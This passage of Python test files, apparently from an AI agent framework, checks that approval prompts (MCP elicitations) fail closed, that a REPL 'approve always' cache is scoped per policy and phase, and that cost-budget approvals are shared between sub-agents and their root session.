assert PolicyAction.ASK.value == "ask"
assert PolicyAction.DENY.value == "deny"
def test_policy_action_from_string() -> None:
"""Constructing a PolicyAction from a string works —
the parser's action-list handler relies on this."""
assert PolicyAction("allow") == PolicyAction.ALLOW
assert PolicyAction("ask") == PolicyAction.ASK
assert PolicyAction("deny") == PolicyAction.DENY
def test_policy_action_invalid_string_raises() -> None:
"""Unknown action string → ValueError. The parser
catches this at spec-load to fail loud."""
with pytest.raises(ValueError):
PolicyAction("approve")
@@ -0,0 +1,847 @@
"""
Tests for the client-side elicitation wiring.
Covers:
- :func:`omnigent_client._sse._parse_event` —
``response.elicitation_request`` events parse to
:class:`ElicitationRequest` with the MCP-shape ``params``
block surfaced as flat fields on the dataclass.
- :func:`omnigent_client._sse._parse_output_item` — regular
``function_call`` items still parse to :class:`ToolCall`
(guards against accidental re-introduction of a
reserved-name carve-out).
- :func:`omnigent_client._responses._handle_elicitation_request`
— calls the registered hook, POSTs the verdict to the
elicitation's dedicated resolve URL, and fail-closes when no hook
is registered.
- REPL ``_make_elicitation_prompt`` — renders the elicitation
and returns ``True`` / ``False`` based on the user's y/n
answer.
Real HTTP is stubbed via a minimal ``_FakeHttpClient`` — these
tests exercise the SDK's branching logic, not the server.
"""
from __future__ import annotations
import asyncio
import importlib.util
import json
import sys
from pathlib import Path
from typing import Any
import pytest
# The editable-install of ``omnigent_client`` points at the
# sibling worktree. Load this worktree's copy under a distinct
# module name so we're actually testing the code we just
# edited. Same pattern the e2e suite uses via PYTHONPATH.
_SDK_ROOT = (
Path(__file__).resolve().parents[2].parent / "sdks" / "python-client" / "omnigent_client"
)
def _load_sdk_module(name: str) -> Any:
"""
Load ``omnigent_client.<name>`` from this worktree
regardless of which ``omnigent_client`` is resolved
globally. Registering under ``_apc_under_test.<name>``
so parent-package resolution works for helpers that
reference sibling submodules.
:param name: The module's basename without the ``.py``,
e.g. ``"_events"``.
:returns: The freshly-loaded module object.
"""
parent_name = "_apc_under_test"
if parent_name not in sys.modules:
parent_spec = importlib.util.spec_from_file_location(
parent_name,
_SDK_ROOT / "__init__.py",
submodule_search_locations=[str(_SDK_ROOT)],
)
assert parent_spec is not None and parent_spec.loader is not None
parent_mod = importlib.util.module_from_spec(parent_spec)
sys.modules[parent_name] = parent_mod
parent_spec.loader.exec_module(parent_mod)
full = f"{parent_name}.{name}"
if full in sys.modules:
return sys.modules[full]
spec = importlib.util.spec_from_file_location(full, _SDK_ROOT / f"{name}.py")
assert spec is not None and spec.loader is not None
mod = importlib.util.module_from_spec(spec)
sys.modules[full] = mod
spec.loader.exec_module(mod)
return mod
_events = _load_sdk_module("_events")
_sse = _load_sdk_module("_sse")
_tool_handler = _load_sdk_module("_tool_handler")
_responses = _load_sdk_module("_responses")
ElicitationRequest = _events.ElicitationRequest
ToolCall = _events.ToolCall
MCP_ELICITATION_METHOD = _events.MCP_ELICITATION_METHOD
ElicitationRequestCtx = _tool_handler.ElicitationRequestCtx
StreamHooks = _tool_handler.StreamHooks
class _FakeResponse:
"""Minimal httpx.Response stand-in for POST result checking."""
def __init__(self, status_code: int = 202) -> None:
"""Initialize with the simulated status code.
:param status_code: Status the fake response reports.
Default 202 mirrors the session event endpoint's
success contract.
"""
self.status_code = status_code
self.text = ""
class _FakeHttpClient:
"""
Minimal async HTTP stub — records POSTs without opening
a socket.
Only ``post`` is exercised by the elicitation flow; PATCH
is not used here, and any other method would raise
``AttributeError`` on access — fail-loud rather than
silently hitting the real server.
"""
def __init__(self) -> None:
"""Initialize with no recorded calls."""
self.post_calls: list[dict[str, Any]] = []
async def post(
self,
url: str,
*,
json: dict[str, Any] | None = None,
timeout: float | None = None,
) -> _FakeResponse:
"""Record the POST and return a fake 202.
:param url: The full URL the SDK posted to.
:param json: The JSON body (kwarg-only on httpx; keyword
here too so the test signature mirrors httpx exactly).
:param timeout: The per-call timeout the SDK sets.
:returns: A 202 :class:`_FakeResponse`.
"""
self.post_calls.append({"url": url, "json": json, "timeout": timeout})
return _FakeResponse(status_code=202)
# ── SSE parse: response.elicitation_request ────────────────
def test_sse_parses_elicitation_request_event() -> None:
"""
A ``response.elicitation_request`` event with an MCP-shape
``params`` block parses to :class:`ElicitationRequest` with
every field surfaced as a flat dataclass attribute. This is
what the streaming path keys off of to dispatch the hook.
"""
raw = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_abc",
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "approve web search?",
"requestedSchema": {},
"phase": "tool_call",
"policy_name": "ask_search",
"content_preview": "q=classified",
},
}
event = _sse._parse_event("response.elicitation_request", raw)
assert isinstance(event, ElicitationRequest)
assert event.elicitation_id == "elicit_abc"
assert event.message == "approve web search?"
assert event.requested_schema == {}
assert event.mode == "form"
assert event.phase == "tool_call"
assert event.policy_name == "ask_search"
assert event.content_preview == "q=classified"
def test_sse_elicitation_request_tolerates_missing_extras() -> None:
"""
The MCP-spec required fields are ``mode`` / ``message`` /
``requestedSchema``; producer extras (``phase``,
``policy_name``, ``content_preview``) may be absent. The
parser must coerce missing extras to empty string rather
than raising — defensive shape keeps a stray protocol skew
from crashing the whole stream.
"""
raw = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_bare",
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "are you sure?",
"requestedSchema": {},
},
}
event = _sse._parse_event("response.elicitation_request", raw)
assert isinstance(event, ElicitationRequest)
assert event.message == "are you sure?"
# Extras default to empty string when absent.
assert event.phase == ""
assert event.policy_name == ""
assert event.content_preview == ""
def test_sse_elicitation_request_skips_when_id_missing() -> None:
"""
Without an ``elicitation_id`` there's no correlation key
for the reply POST — the parser returns None and logs
rather than fabricating an id. Forward-compat: an upstream
that emits the event with a different correlation surface
won't crash the stream; it just gets dropped.
"""
raw = {
"type": "response.elicitation_request",
# No elicitation_id key.
"method": "elicitation/create",
"params": {"mode": "form", "message": "?", "requestedSchema": {}},
}
event = _sse._parse_event("response.elicitation_request", raw)
assert event is None
def test_sse_elicitation_request_skips_when_params_not_dict() -> None:
"""
``params`` must be a dict per MCP spec. Anything else is
malformed; parser drops it with a log line rather than
accessing fields on a non-dict and crashing.
"""
raw = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_x",
"method": "elicitation/create",
"params": "this is not a dict",
}
event = _sse._parse_event("response.elicitation_request", raw)
assert event is None
def test_sse_parses_regular_function_call_as_toolcall() -> None:
"""
A ``function_call`` with ANY name still parses to
:class:`ToolCall`. Regression guard for the deleted
reserved-name carve-out: pre-refactor, a function_call
named ``request_approval`` was diverted to a separate
event; post-refactor that's gone. If a future regression
re-introduces a carve-out, this test catches it because
the ``request_approval`` name returns a regular ToolCall.
"""
raw = {
"item": {
"type": "function_call",
"call_id": "call_real",
"name": "request_approval",
"status": "action_required",
"arguments": json.dumps({"path": "x.py"}),
},
}
event = _sse._parse_output_item(raw)
assert isinstance(event, ToolCall)
# The name is now just data — no special semantics.
assert event.name == "request_approval"
# ── _handle_elicitation_request: hook + POST wiring ────────
@pytest.mark.asyncio
async def test_hook_accept_posts_accept_action() -> None:
"""
A hook that returns ``True`` → SDK POSTs ``{"action": "accept"}``
to the elicitation's dedicated resolve URL
``/v1/sessions/{session_id}/elicitations/{elicitation_id}/resolve``
(URL-based elicitation).
"""
http = _FakeHttpClient()
seen: list[ElicitationRequestCtx] = []
async def _hook(ctx: ElicitationRequestCtx) -> bool:
seen.append(ctx)
return True
hooks = StreamHooks(on_elicitation_request=_hook)
event = ElicitationRequest(
elicitation_id="elicit_accept",
message="tainted",
requested_schema={},
mode="form",
phase="tool_call",
policy_name="deny_tainted",
content_preview="args",
)
await _responses._handle_elicitation_request(
http, # type: ignore[arg-type]
"http://localhost:8000",
hooks,
event,
response_id="resp_1",
session_id="conv_1",
)
# The hook fired exactly once with the right context.
# 1 = guards against the future being awaited twice or
# the dispatcher invoking the hook in a loop.
assert len(seen) == 1, (
f"Expected hook to fire exactly once; got {len(seen)} "
f"calls. >1 would mean the dispatcher is double-firing."
)
assert seen[0].elicitation_id == "elicit_accept"
assert seen[0].policy_name == "deny_tainted"
# Exactly one POST.
assert len(http.post_calls) == 1
call = http.post_calls[0]
assert call["url"] == (
"http://localhost:8000/v1/sessions/conv_1/elicitations/elicit_accept/resolve"
)
# Verdict body is the bare MCP ElicitResult — the elicitation id
# rides in the URL path, not the body.
assert call["json"] == {"action": "accept"}
@pytest.mark.asyncio
async def test_hook_decline_posts_decline_action() -> None:
"""
Hook returns ``False`` → SDK POSTs ``{"action": "decline"}`` to
the elicitation's resolve URL. Server treats this identically to
timeout / cancel — the parked workflow wakes and the enforcement
site short-circuits with a DENY sentinel.
"""
http = _FakeHttpClient()
async def _hook(ctx: ElicitationRequestCtx) -> bool:
return False
hooks = StreamHooks(on_elicitation_request=_hook)
event = ElicitationRequest(
elicitation_id="elicit_decline",
message="",
requested_schema={},
mode="form",
phase="response",
policy_name="p",
content_preview="",
)
await _responses._handle_elicitation_request(
http, # type: ignore[arg-type]
"http://localhost:8000",
hooks,
event,
response_id="resp_2",
session_id="conv_2",
)
assert http.post_calls[0]["url"] == (
"http://localhost:8000/v1/sessions/conv_2/elicitations/elicit_decline/resolve"
)
assert http.post_calls[0]["json"] == {"action": "decline"}
@pytest.mark.asyncio
async def test_no_hook_fails_closed() -> None:
"""
No hook registered → SDK resolves the elicitation with
``{"action": "decline"}``. POLICIES.md §7.2: an unhandled
elicitation must DENY. Silently swallowing it would stall the
parked workflow until ``ask_timeout`` expired — declining
fail-closed is the right default.
"""
http = _FakeHttpClient()
hooks = StreamHooks() # no on_elicitation_request
event = ElicitationRequest(
elicitation_id="elicit_nohook",
message="",
requested_schema={},
mode="form",
phase="request",
policy_name="p",
content_preview="",
)
await _responses._handle_elicitation_request(
http, # type: ignore[arg-type]
"http://localhost:8000",
hooks,
event,
response_id="resp_3",
session_id="conv_3",
)
assert http.post_calls[0]["url"] == (
"http://localhost:8000/v1/sessions/conv_3/elicitations/elicit_nohook/resolve"
)
assert http.post_calls[0]["json"] == {"action": "decline"}
@pytest.mark.asyncio
async def test_hook_exception_fails_closed() -> None:
"""
Hook raises → SDK catches, logs, resolves the elicitation with
``{"action": "decline"}``. A buggy elicitation handler must not
crash the stream or stall the workflow; fail-closed keeps the
invariant.
"""
http = _FakeHttpClient()
async def _hook(ctx: ElicitationRequestCtx) -> bool:
raise RuntimeError("bug in handler")
hooks = StreamHooks(on_elicitation_request=_hook)
event = ElicitationRequest(
elicitation_id="elicit_bug",
message="",
requested_schema={},
mode="form",
phase="tool_call",
policy_name="p",
content_preview="",
)
await _responses._handle_elicitation_request(
http, # type: ignore[arg-type]
"http://localhost:8000",
hooks,
event,
response_id="resp_4",
session_id="conv_4",
)
assert http.post_calls[0]["url"] == (
"http://localhost:8000/v1/sessions/conv_4/elicitations/elicit_bug/resolve"
)
assert http.post_calls[0]["json"] == {"action": "decline"}
@pytest.mark.asyncio
async def test_hook_accepts_sync_callable() -> None:
"""
Hooks can be sync or async. A sync ``def hook(ctx) -> bool``
must work too — the client awaits only when the return is
awaitable.
"""
http = _FakeHttpClient()
def _hook(ctx: ElicitationRequestCtx) -> bool:
return True
hooks = StreamHooks(on_elicitation_request=_hook)
event = ElicitationRequest(
elicitation_id="elicit_sync",
message="",
requested_schema={},
mode="form",
phase="response",
policy_name="p",
content_preview="",
)
await _responses._handle_elicitation_request(
http, # type: ignore[arg-type]
"http://localhost:8000",
hooks,
event,
response_id="resp_5",
session_id="conv_5",
)
assert http.post_calls[0]["url"] == (
"http://localhost:8000/v1/sessions/conv_5/elicitations/elicit_sync/resolve"
)
assert http.post_calls[0]["json"] == {"action": "accept"}
# ── REPL elicitation prompt wiring ────────────────────────
#
# The REPL's flow doesn't call ``input()`` — that path fought
# prompt_toolkit's ``patch_stdout`` (characters vanishing
# mid-type, auto-delete jank). Instead, the hook creates an
# :class:`asyncio.Future` that the main input loop resolves
# when the user types ``y`` / ``n`` at the pinned prompt.
# These tests drive the future directly; the main-loop
# wiring in :func:`run_repl` is exercised via the e2e harness.
def _load_repl_module() -> Any:
"""
Reload ``omnigent.repl._repl`` so these tests see the
edited source. Multiple tests in this file touch the
module; a stale import cache would silently test the old
API.
:returns: The freshly-reloaded ``omnigent.repl._repl``
module.
"""
import importlib
import omnigent.repl._repl as repl_mod
importlib.reload(repl_mod)
return repl_mod
class _FakeHost:
"""TerminalHost stub — records everything the hook prints."""
def __init__(self) -> None:
"""Initialize with an empty output log."""
self.outputs: list[Any] = []
def output(self, item: Any) -> None:
"""Record the item.
:param item: Whatever the hook handed to
``host.output(...)`` — usually a Rich
:class:`Text` instance, sometimes a plain string.
"""
self.outputs.append(item)
class _FakeFmt:
"""Formatter stub — the hook reads style names off it."""
warning = "yellow"
muted = "dim"
accent = "cyan"
def _make_ctx(
*,
elicitation_id: str = "c1",
message: str = "needs review",
policy_name: str = "gatekeeper",
phase: str = "tool_call",
content_preview: str = '{"tool": "search"}',
response_id: str = "r1",
) -> ElicitationRequestCtx:
"""Build an :class:`ElicitationRequestCtx` for hook tests.
Producer extras (phase / policy_name / content_preview)
are required dataclass fields, so the tests must supply
every one — empty strings stand in for "not applicable"
where the test doesn't care.
:param elicitation_id: Unique id; tests use synthetic
``c1``/``c2`` rather than real ``elicit_...`` prefixes
to keep the values readable in failure messages.
:param message: Human-readable prompt the renderer should
display.
:param policy_name: Producer extra — deciding ASK policy.
:param phase: Producer extra — phase that produced the ASK.
:param content_preview: Producer extra — truncated content
snapshot.
:param response_id: Audit-only response id; the hook never
posts on behalf of this id (the elicitation_id is the
correlation key).
:returns: A fully-populated context.
"""
return ElicitationRequestCtx(
elicitation_id=elicitation_id,
message=message,
requested_schema={},
mode="form",
phase=phase,
policy_name=policy_name,
content_preview=content_preview,
response_id=response_id,
)
@pytest.mark.asyncio
async def test_repl_hook_renders_and_awaits_future() -> None:
"""
The hook writes the elicitation preview to the host,
creates a pending future on the shared
:class:`_ApprovalState`, and awaits it. It must NOT touch
stdin — previously calling :func:`input` inside a thread
fought ``patch_stdout``.
We drive the future manually to assert the shape without
spinning up a full REPL.
"""
repl_mod = _load_repl_module()
host = _FakeHost()
state = repl_mod._ApprovalState()
prompt_fn = repl_mod._make_elicitation_prompt(host, _FakeFmt(), state)
ctx = _make_ctx()
# Kick off the hook; don't await yet.
task = asyncio.create_task(prompt_fn(ctx))
# Give the event loop a turn so the hook renders and
# registers the pending future.
await asyncio.sleep(0)
assert state.pending is True
assert host.outputs, "elicitation hook rendered nothing"
# Resolve via the same path the main input loop takes.
resolved = state.resolve_verdict(repl_mod._ApprovalVerdict.APPROVE_ONCE)
assert resolved is True
result = await task
assert result is True
@pytest.mark.asyncio
async def test_repl_state_resolve_on_refuse() -> None:
"""
Resolving the future with REFUSE must yield ``False``
from the hook — the fail-closed path for POLICIES.md §13.
The SDK collapses ``False`` to MCP ``"decline"`` when
POSTing.
"""
repl_mod = _load_repl_module()
state = repl_mod._ApprovalState()
prompt_fn = repl_mod._make_elicitation_prompt(_FakeHost(), _FakeFmt(), state)
ctx = _make_ctx(
elicitation_id="c2",
message="",
policy_name="p",
phase="response",
content_preview="",
response_id="r2",
)
task = asyncio.create_task(prompt_fn(ctx))
await asyncio.sleep(0)
state.resolve_verdict(repl_mod._ApprovalVerdict.REFUSE)
assert await task is False
@pytest.mark.asyncio
async def test_repl_state_cancel_refuses_closed() -> None:
"""
Cancelling an in-flight elicitation (user ^C during
stream) must resolve the future to ``False``. Leaking an
unresolved future would stall the next elicitation
forever.
"""
repl_mod = _load_repl_module()
state = repl_mod._ApprovalState()
prompt_fn = repl_mod._make_elicitation_prompt(_FakeHost(), _FakeFmt(), state)
ctx = _make_ctx(
elicitation_id="c3",
message="",
policy_name="",
phase="request",
content_preview="",
response_id="r3",
)
task = asyncio.create_task(prompt_fn(ctx))
await asyncio.sleep(0)
state.cancel()
assert await task is False
# And cancel() clears state so no future is left pending.
assert state.pending is False
def test_repl_state_replaces_stale_future() -> None:
"""
If a second elicitation arrives while a prior one is still
pending (defense-in-depth — the server should only park
one at a time, but bugs happen), the prior future is
resolved fail-closed and a fresh one is installed.
"""
repl_mod = _load_repl_module()
async def _body() -> None:
state = repl_mod._ApprovalState()
first = state.begin("p1", "request")
second = state.begin("p1", "request")
# Old future was resolved False so the first
# elicitation's hook wakes with a refusal (never
# leaks).
assert first.done() and first.result() is False
# New future is still open, waiting for the verdict.
assert not second.done()
state.resolve_verdict(repl_mod._ApprovalVerdict.APPROVE_ONCE)
assert second.result() is True
asyncio.run(_body())
# ── Three-way verdict parser ─────────────────────────────
#
# The parser is the precise seam between user keystrokes and
# the elicitation state. It must: (a) accept the short forms
# users reach for (``y``, ``a``, ``n``), (b) disambiguate
# ``a`` as ALWAYS (not as a random non-``y`` character that
# falls through to refuse), and (c) fail-closed on anything
# outside the vocabulary.
@pytest.mark.parametrize(
"text,expected",
[
# APPROVE_ONCE
("y", "APPROVE_ONCE"),
("Y", "APPROVE_ONCE"),
("yes", "APPROVE_ONCE"),
("YES", "APPROVE_ONCE"),
("approve", "APPROVE_ONCE"),
("ok", "APPROVE_ONCE"),
(" y ", "APPROVE_ONCE"),
# APPROVE_ALWAYS
("a", "APPROVE_ALWAYS"),
("A", "APPROVE_ALWAYS"),
("always", "APPROVE_ALWAYS"),
("ALWAYS", "APPROVE_ALWAYS"),
("approve always", "APPROVE_ALWAYS"),
(" a ", "APPROVE_ALWAYS"),
# REFUSE
("", "REFUSE"),
("n", "REFUSE"),
("no", "REFUSE"),
("anything else", "REFUSE"),
("yolo", "REFUSE"), # near-miss — explicit refusal
],
)
def test_repl_parse_approval_input(text: str, expected: str) -> None:
"""
Three-way verdict parser matches Claude Code muscle memory
(``y`` / ``a`` / ``n``) and fails closed on anything
outside the vocabulary. The enum comparison guards against
regressions that'd silently demote APPROVE_ALWAYS to
APPROVE_ONCE (or vice-versa).
"""
repl_mod = _load_repl_module()
verdict = repl_mod._parse_approval_input(text)
assert verdict.name == expected
# ── Session auto-approve cache ────────────────────────────
@pytest.mark.asyncio
async def test_repl_always_caches_and_auto_approves() -> None:
"""
End-to-end for the "approve always" path.
First elicitation: user types "a" (mapped to
APPROVE_ALWAYS). The state caches
``(policy_name, phase)`` and the hook returns ``True``
for this one. Host received the full approval-required
banner.
Second elicitation for the same pair: hook checks the
cache FIRST, returns True immediately, and prints a muted
``auto-approved`` audit line. Critically: no
``⚠ approval required`` banner is rendered — the whole
point of caching is zero UI friction once you've said yes.
"""
repl_mod = _load_repl_module()
host = _FakeHost()
state = repl_mod._ApprovalState()
prompt_fn = repl_mod._make_elicitation_prompt(host, _FakeFmt(), state)
# First elicitation — prompts, user says "always".
ctx1 = _make_ctx(
elicitation_id="c1",
message="",
policy_name="always_ask_on_input",
phase="request",
content_preview="hello",
response_id="r1",
)
task1 = asyncio.create_task(prompt_fn(ctx1))
await asyncio.sleep(0)
assert state.pending is True
# Find the banner in the first-elicitation outputs.
first_texts = [getattr(o, "plain", str(o)) for o in host.outputs]
assert any("approval required" in t for t in first_texts), (
"First elicitation must render the banner"
)
outputs_before_always = len(host.outputs)
state.resolve_verdict(repl_mod._ApprovalVerdict.APPROVE_ALWAYS)
assert await task1 is True
# Cache now has the pair.
assert state.is_pre_approved("always_ask_on_input", "request")
# Second elicitation — same pair. Must auto-approve
# without rendering the banner.
ctx2 = _make_ctx(
elicitation_id="c2",
message="",
policy_name="always_ask_on_input",
phase="request",
content_preview="follow-up",
response_id="r2",
)
task2 = asyncio.create_task(prompt_fn(ctx2))
await asyncio.sleep(0)
# Future NEVER gets created because the hook short-circuits.
assert state.pending is False
assert await task2 is True
# Outputs added by elicitation #2: ONLY the muted
# auto-approve audit line — no banner, no
# policy/reason/preview lines. Banner would be
# ``approval required``, which must not appear for the
# second elicitation.
second_outputs = host.outputs[outputs_before_always:]
second_texts = [getattr(o, "plain", str(o)) for o in second_outputs]
assert all("approval required" not in t for t in second_texts), (
f"Second elicitation rendered a banner despite auto-approval cache:\n{second_texts}"
)
assert any("auto-approved" in t for t in second_texts), (
f"Auto-approve path must print an audit line:\n{second_texts}"
)
@pytest.mark.asyncio
async def test_repl_always_is_scoped_to_policy_and_phase() -> None:
"""
The cache key is ``(policy_name, phase)`` — a different
policy OR a different phase still prompts. Granularity
prevents a blanket "always" from accidentally approving a
different gate the user never consented to.
"""
repl_mod = _load_repl_module()
state = repl_mod._ApprovalState()
# User said "always" for policy_a at REQUEST.
state.remember_always("policy_a", "request")
assert state.is_pre_approved("policy_a", "request") is True
# Different policy — still prompts.
assert state.is_pre_approved("policy_b", "request") is False
# Same policy, different phase — still prompts.
assert state.is_pre_approved("policy_a", "tool_call") is False
def test_repl_once_does_not_populate_cache() -> None:
"""
APPROVE_ONCE must leave the cache empty. Otherwise the
next elicitation would silently auto-approve, which is
NOT what the user asked for — "once" means once.
"""
repl_mod = _load_repl_module()
async def _body() -> None:
state = repl_mod._ApprovalState()
state.begin("policy_x", "request")
state.resolve_verdict(repl_mod._ApprovalVerdict.APPROVE_ONCE)
assert state.is_pre_approved("policy_x", "request") is False
asyncio.run(_body())
def test_repl_refuse_does_not_populate_cache() -> None:
"""
REFUSE must also leave the cache untouched. Caching a
refusal would make the next elicitation silently fail
without the user getting a chance to reconsider.
"""
repl_mod = _load_repl_module()
async def _body() -> None:
state = repl_mod._ApprovalState()
state.begin("policy_x", "request")
state.resolve_verdict(repl_mod._ApprovalVerdict.REFUSE)
assert state.is_pre_approved("policy_x", "request") is False
asyncio.run(_body())
@@ -0,0 +1,248 @@
"""Per-session cost-budget ASK approval is shared across the spawn tree.
The session cost-budget policy records its approved soft checkpoint under the
reserved ``SESSION_COST_ASK_APPROVED_STATE_KEY``. The budget is per-SESSION (the
whole spawn tree), but a sub-agent runs as its own conversation, so:
- :class:`PolicyEngine.apply_state_updates` routes the approval WRITE to the
ROOT conversation, and
- :func:`build_policy_engine` SEEDS a sub-agent's approval from the root.
Without that, approving on the parent wouldn't carry to a sub-agent and it would
re-ASK at the same threshold (the reported bug).
"""
from __future__ import annotations
import pytest
from omnigent.policies.schema import SESSION_COST_ASK_APPROVED_STATE_KEY
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies.builder import build_policy_engine
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.parser import parse
from omnigent.spec.types import (
FunctionPolicySpec,
FunctionRef,
Phase,
PolicyAction,
StateUpdate,
StateUpdateAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
# A real session cost-budget policy: soft ASK at $0.05, hard cap parked high so
# only the soft checkpoint trips.
_COST_POLICY = FunctionPolicySpec(
name="session_cost_guard",
on=None, # the function self-selects the tool_call phase
function=FunctionRef(
path="omnigent.policies.builtins.cost.cost_budget",
arguments={"max_cost_usd": 1000.0, "ask_thresholds_usd": [0.05]},
),
)
def _engine_on(
conversation_store: SqlAlchemyConversationStore,
conversation_id: str,
root_conversation_id: str,
) -> PolicyEngine:
"""Minimal engine bound to *conversation_id* with an explicit tree root."""
return PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conversation_id,
root_conversation_id=root_conversation_id,
initial_labels={},
conversation_store=conversation_store,
)
def _set_approved(value: float) -> StateUpdate:
return StateUpdate(
key=SESSION_COST_ASK_APPROVED_STATE_KEY,
action=StateUpdateAction.SET,
value=value,
)
def test_session_cost_ask_approval_routes_to_root_for_subagent(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A sub-agent's cost approval persists to the ROOT, not its own state."""
parent = conversation_store.create_conversation()
child = conversation_store.create_conversation(
kind="sub_agent", parent_conversation_id=parent.id
)
engine = _engine_on(conversation_store, child.id, parent.id)
engine.apply_state_updates([_set_approved(0.05)])
# Lands on the ROOT so the parent + sibling sub-agents inherit it. If this
# is None, the approval was written to the sub-agent's own state and the
# parent would re-prompt (the bug).
root_after = conversation_store.get_conversation(parent.id)
assert root_after.session_state.get(SESSION_COST_ASK_APPROVED_STATE_KEY) == 0.05
# And NOT on the sub-agent's own session_state.
child_after = conversation_store.get_conversation(child.id)
assert SESSION_COST_ASK_APPROVED_STATE_KEY not in child_after.session_state
def test_session_cost_ask_approval_writes_own_state_for_top_level(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A top-level session (root == itself) writes the approval to its own state.
Guards that the root-routing doesn't break the ordinary single-session path.
"""
root = conversation_store.create_conversation()
engine = _engine_on(conversation_store, root.id, root.id)
engine.apply_state_updates([_set_approved(0.05)])
after = conversation_store.get_conversation(root.id)
assert after.session_state.get(SESSION_COST_ASK_APPROVED_STATE_KEY) == 0.05
async def _evaluate_bash(engine: PolicyEngine) -> PolicyAction:
result = await engine.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "Bash", "arguments": {}},
tool_name="Bash",
)
)
return result.action
@pytest.mark.asyncio
async def test_subagent_inherits_parent_cost_approval_no_reask(
conversation_store: SqlAlchemyConversationStore,
tmp_path,
) -> None:
"""Approving the $0.05 checkpoint on the parent suppresses the sub-agent's
re-ASK at the same threshold (the reported bug).
The sub-agent is its own conversation with $0.06 of spend (over $0.05);
build_policy_engine seeds its approved-checkpoint from the root, so the
gate ALLOWs instead of asking again.
"""
parent = conversation_store.create_conversation()
child = conversation_store.create_conversation(
kind="sub_agent", parent_conversation_id=parent.id
)
# Parent already approved the $0.05 checkpoint (recorded on the root).
conversation_store.set_session_state(parent.id, {SESSION_COST_ASK_APPROVED_STATE_KEY: 0.05})
# Sub-agent's own priced spend is over the $0.05 checkpoint.
conversation_store.set_session_usage(child.id, {"total_cost_usd": 0.06})
(tmp_path / "config.yaml").write_text("spec_version: 1\nname: cost-agent\n")
spec = parse(tmp_path)
engine = build_policy_engine(
spec=spec,
conversation_id=child.id,
conversation_store=conversation_store,
default_policies=[_COST_POLICY],
)
assert await _evaluate_bash(engine) == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_subagent_approval_visible_to_same_engine_no_reask(
conversation_store: SqlAlchemyConversationStore,
tmp_path,
) -> None:
"""Approving mid-turn suppresses the sub-agent's *next* re-ASK in the same
engine instance.
The approval write routes to the ROOT store, but the live engine evaluates
against its own in-memory session_state (seeded from the root at
construction). If that hot copy isn't updated on approve, the very next
tool call re-ASKs at the same threshold — so this guards
``_record_root_cost_ask_approved`` mirroring the op into ``_session_state``.
"""
parent = conversation_store.create_conversation()
child = conversation_store.create_conversation(
kind="sub_agent", parent_conversation_id=parent.id
)
# Sub-agent is over the $0.05 checkpoint with NO prior approval anywhere.
conversation_store.set_session_usage(child.id, {"total_cost_usd": 0.06})
(tmp_path / "config.yaml").write_text("spec_version: 1\nname: cost-agent\n")
spec = parse(tmp_path)
engine = build_policy_engine(
spec=spec,
conversation_id=child.id,
conversation_store=conversation_store,
default_policies=[_COST_POLICY],
)
# First call asks (over threshold, unapproved).
assert await _evaluate_bash(engine) == PolicyAction.ASK
# The approval the user grants in response to that ASK.
engine.apply_state_updates([_set_approved(0.05)])
# The same engine's next call must NOT re-ASK — the in-memory state now
# carries the approval even though it was persisted to the root.
assert await _evaluate_bash(engine) == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_subagent_without_parent_approval_still_asks(
conversation_store: SqlAlchemyConversationStore,
tmp_path,
) -> None:
"""Control: with NO parent approval, the sub-agent's over-threshold spend
DOES ASK — so the inheritance test above can't pass vacuously.
"""
parent = conversation_store.create_conversation()
child = conversation_store.create_conversation(
kind="sub_agent", parent_conversation_id=parent.id
)
conversation_store.set_session_usage(child.id, {"total_cost_usd": 0.06})
(tmp_path / "config.yaml").write_text("spec_version: 1\nname: cost-agent\n")
spec = parse(tmp_path)
engine = build_policy_engine(
spec=spec,
conversation_id=child.id,
conversation_store=conversation_store,
default_policies=[_COST_POLICY],
)
assert await _evaluate_bash(engine) == PolicyAction.ASK
@pytest.mark.asyncio
async def test_subagent_gate_sees_parent_spend_not_just_own(
conversation_store: SqlAlchemyConversationStore,
tmp_path,
) -> None:
"""A sub-agent that spent $0 itself still ASKs when the SESSION is over budget.
The budget is session-wide: the parent already spent $0.06 (over the $0.05
checkpoint) and the sub-agent has spent nothing of its own. The sub-agent's
gate must seed from the whole-tree total and ASK — otherwise (the bug) it
would gate on its own $0 subtree, ALLOW, and let the session keep spending
past the budget while the orchestrator parent is parked.
If the gating seed reverts to the per-node subtree, the sub-agent sees $0,
this returns ALLOW, and the assertion fails — so the test is non-vacuous.
"""
parent = conversation_store.create_conversation()
child = conversation_store.create_conversation(
kind="sub_agent", parent_conversation_id=parent.id
)
# All spend is on the PARENT; the sub-agent has none of its own.
conversation_store.set_session_usage(parent.id, {"total_cost_usd": 0.06})
(tmp_path / "config.yaml").write_text("spec_version: 1\nname: cost-agent\n")
spec = parse(tmp_path)
engine = build_policy_engine(
spec=spec,
conversation_id=child.id,
conversation_store=conversation_store,
default_policies=[_COST_POLICY],
)
assert await _evaluate_bash(engine) == PolicyAction.ASK
@@ -0,0 +1,158 @@
"""Engine routing of the per-user daily cost-budget ASK approval.
The daily cost-budget policy emits its approved-checkpoint write under
the reserved ``USER_DAILY_ASK_APPROVED_STATE_KEY``. The engine must
route that to the session owner's ``user_daily_cost.ask_approved_usd``
(per user+day) — NOT the per-conversation ``session_state`` — so an
approval persists across the user's sessions. These tests exercise the
public ``PolicyEngine.apply_state_updates`` against a real store.
"""
from __future__ import annotations
import pytest
from omnigent.db.utils import now_epoch, utc_day
from omnigent.policies.builtins.cost import user_daily_cost_budget
from omnigent.policies.function import FunctionPolicy
from omnigent.policies.schema import USER_DAILY_ASK_APPROVED_STATE_KEY
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
FunctionPolicySpec,
FunctionRef,
Phase,
